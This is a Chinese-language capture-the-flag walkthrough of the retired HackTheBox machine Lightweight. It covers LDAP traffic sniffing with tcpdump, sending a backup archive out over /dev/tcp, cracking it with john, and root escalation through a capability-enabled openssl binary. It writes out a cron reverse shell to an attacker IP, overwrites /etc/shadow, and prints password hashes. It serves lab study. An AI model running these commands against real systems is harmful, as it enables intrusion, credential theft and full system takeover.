本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.119
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.119 -o ./Lightweight-autorecon
发现开放了3个端口,含有ldap服务,我们先访问80端口
上述是使用绑定本地hosts进行访问,刚开始使用IP地址访问发现访问空白,猜测可能是目标靶机的限制,根据上面访问的信息得知目标靶机会根据访问web的日志记录IP地址并根据IP地址添加用户和密码,所以我们使用自身的IP地址用作用户名和密码进行ssh登录
登录成功进去之后使用linenum.sh脚本进行枚举目标靶机各种信息,发现如下
相关知识点参考:
Linux Capabilities介绍 https://man7.org/linux/man-pages/man7/capabilities.7.html https://www.cnblogs.com/sparkdev/p/11417781.html
可以使用tcpdump进行本地抓389端口的数据包,然后获取其中一用户的密码
tcpdump -i lo port 389 -w capture.cap -v
不知道啥原因我这里是抓包抓不到数据,具体操作就是抓包完成之后将数据包拿到本地kali然后使用wireshark打开查看密码为:8bc8251332abe1d7f105d3e53ad39ac2用户是:ldapuser2 我们使用su切换至此用户
切换至用户ldapuser2发现当前目录下存在backup.7z文件,同时读取了user.txt,本想直接在此靶机上进行7z解压,发现没有命令,只好通过nc将其传至本地kali进行解压
传输文件 bash -c "cat backup.7z > /dev/tcp/10.10.14.6/5555" (或者cat backup.7z > /dev/tcp/10.10.14.6/5555) nc -lvnp 5555 > backup.7z
尝试解压发现需要密码,使用字典rockyou.txt进行爆破,具体过程如下:
将压缩包拿到本地kali解压发现需要密码,尝试使用john通过字典rockyou进行爆破密码,爆破之前需要对其转换,转换的命令如下 sudo /usr/share/john/7z2john.pl backup.7z > bmfxhash.txt 执行上面的命令的时候会报错如下: (you may need to install the Compress::Raw::Lzma module) 需要安装如下包,可参考:https://zoomadmin.com/HowToInstall/UbuntuPackage/libcompress-raw-lzma-perl sudo apt-get update -y sudo apt-get install -y libcompress-raw-lzma-perl
成功得到解压密码为delete解压之后发现ldapuser1的密码信息
再次切换至用户ldapuser1
通过上面执行getcap命令得到了此用户下面存在特权二进制文件,可以直接执行,这里就可以通过计划任务进行提权,也可以修改/etc/passwd 或者/etc/shadow进行添加root用户提权,具体操作如下:
通过计划任务获取root权限 cd /tmp cp /etc/crontab . echo '* * * * * root /bin/bash -i >& /dev/tcp/10.10.14.6/8833 0>&1' >> crontab base64 crontab > crontab.b64 /home/ldapuser1/openssl enc -d -base64 -in crontab.b64 -out /etc/crontab
通过修改shadow文件篡改root密码进行提权
cd /tmp /home/ldapuser1/openssl base64 -in /etc/shadow | base64 -d > shadow 可以通过下面命令直接生成密码加密的hash值,然后通过此值替换/etc/shadow的值即可更改密码 mkpasswd -m sha-512 bmfxshit998 $6$.m89fLqdSWxTQ.$gZw8DdNn5sVccHa0f26IRqQokkxc/5ZpEtM.IgZLLRbc1cWOF4FSLeMfiBhlM4VpJNlYkYVABmh1/WIP1LB1R0 下面是原始的信息 root:$6$eVOz8tJs$xpjymy5BFFeCIHq9a.BoKZeyPReKd7pwoXnxFNOa7TP5ltNmSDsiyuS/ZqTgAGNEbx5jyZpCnbf8xIJ0Po6N8.:17711:0:99999:7::: 通过下面命令追加到shadow文件中,然后使用vi编辑器删除原来的root信息 echo "root:$6$.m89fLqdSWxTQ.$gZw8DdNn5sVccHa0f26IRqQokkxc/5ZpEtM.IgZLLRbc1cWOF4FSLeMfiBhlM4VpJNlYkYVABmh1/WIP1LB1R0:17711:0:99999:7:::" >> shadow 上述完成之后通过vi编辑器将追加的root信息替换为原始的信息 base64 shadow > shadow.b64 /home/ldapuser1/openssl enc -d -base64 -in shadow.b64 -out /etc/shadow
篡改/etc/passwd就不原始了,以前演示过